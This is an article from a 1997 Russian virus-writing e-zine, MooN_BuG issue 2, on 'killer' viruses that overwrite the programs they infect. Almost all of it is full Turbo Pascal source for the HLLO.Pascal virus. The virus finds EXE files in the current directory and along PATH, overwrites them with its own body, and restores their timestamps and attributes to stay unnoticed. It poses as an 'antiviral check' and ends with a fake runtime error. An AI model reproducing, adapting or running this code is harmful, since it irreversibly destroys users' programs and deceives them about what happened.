[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 2, May 1997 file 003
ВИРУСЫ - УБИЙЦЫ
by RedArc
Вирусу-убийце не нужно заботиться о корректности заражения программ и
запуске программы-хозяина. Скорость инфицирования у вирусов этого типа очень
высока, но и расплата тоже не маленькая - они практически не живут в "дикой"
информационной природе по причине тотальной деструктивности. Приведем исходник
такого вируса, но заострять внимание на нем вряд ли стоит - впереди еще
столько интересного!
=== Cut ===
(****************************************************************************)
(***** HLLO.Pascal (c) 1997 by RedArc // [TAVC] *****)
(***** Поиск EXE-программ в текущем каталоге и по переменной PATH *****)
(***** Запись тела вируса поверх программного кода *****)
(***** MooN_BuG issue 2 // Вирусы-убийцы // *****)
(****************************************************************************)
{$A+,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10240,0,0}
PROGRAM Pascal;
USES DOS;
CONST
MyLen = 4282; {Размер упакованного EXE-файла, содержащего тело вируса}
Ident = 'MooN_BuG // HLLO.Pascal';
VAR
SR : SearchRec; {Информация о найденном файле}
FN : String; {Имя файла}
Dir : DirStr; {Каталог}
Nam : NameStr; {Имя}
Ext : ExtStr; {Расширение}
F : File; {hanler}
{Функция перевода строки символов в верхний регистр}
FUNCTION UpStr (S : String) : String;
VAR
I : Byte;
BEGIN
FOR I := 1 TO Length (S) DO
S [I] := UpCase (S [I]);
UpStr := S;
END;
{"Обработка" клиента}
PROCEDURE Infect_File;
VAR
F1 : File;
Buff : Array [1..MYLEN] Of Byte;
B : Byte;
W : Word;
BEGIN
{Ассоциировать переменную F1 с файлом, содержащим запущенный код вируса}
Assign (F1, ParamStr (0));
ReSet (F1,1);
IF IOResult <> 0 THEN Exit;
{Проверка на "предельные" длины файлов}
IF (FileSize (F) < MyLen) OR (FileSize (F) > 30*MyLen) THEN BEGIN
Close (F1);
Exit;
END;
{Перезапись тела вируса в найденный файл}
BlockRead (F1, Buff, MyLen, W);
BlockWrite (F, Buff, MyLen, W);
Close (F1);
END;
{Поиск в текущем каталоге}
PROCEDURE Find_In_To_Current_Directory;
VAR
FAttr : Word; {Атрибуты файла}
FTime : LongInt; {Время создания файла}
BEGIN
{Поиск первого EXE-файла с любым атрибутом}
FindFirst('*.EXE', AnyFile, SR);
While DosError = 0 do begin
{Доступ к открываемому файлу в режиме Read/Write}
FileMode := 2;
{Разбор имени файла на составляющие}
FSplit (SR.Name, Dir, Nam, Ext);
{Связь переменной F с найденным физическим файлом}
Assign (F, SR.Name);
{Получить атрибуты файла}
GetFAttr (F, FAttr);
{Установить атрибут "архивный" и очистить остальные}
SetFAttr (F, Archive);
{Открыть файл с размером буфера чтения/записи в один байт}
ReSet (F, 1);
{Если нет ошибки доступа к файлу}
IF IOResult = 0 THEN BEGIN
{Запомнить временные характеристики файла}
GetFTime (F, FTime);
{"Обработать" клиента}
Infect_File;
{Восстановить временные характеристики файла}
SetFTime (F, FTime);
{Закрыть файл}
Close (F);
{Восстановить атрибуты файла}
SetFAttr (F, FAttr);
END;
{Поиск следующего файла по шаблону}
FindNext(SR);
End;
END;
{Перебор каталогов, указанных в переменной PATH}
PROCEDURE Search_From_PATH;
VAR
PS : String;
Home : String;
S : String;
Ch : Char;
I : Byte;
BEGIN
GetDir (0, Home);
PS := GetEnv ('PATH');
S := '';
I := 1;
REPEAT
IF I >= Length (PS)+1 THEN BEGIN
IF S <> '' THEN BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult = 0 THEN
Find_In_To_Current_Directory;
END;
Break;
END;
Ch := PS [I];
Inc (I);
IF Ch <> ';' THEN S := S + Ch ELSE BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult <> 0 THEN BEGIN
WriteLn (Ident); {Сообщение идентификационной информации}
S := '';
Continue;
END;
Find_In_To_Current_Directory;
S := '';
END;
UNTIL False;
ChDir (Home);
END;
BEGIN
{Сообщение с просьбой подождать}
WriteLn ('Antiviral checking...');
{Поиск в текущем каталоге}
Find_In_To_Current_Directory;
{Поиск по PATH}
Search_From_PATH;
{Сообщение об отказе запуска программы-носителя}
WriteLn ('Run-time error 219 at 0000:DEAD');
END.
=== Cut ===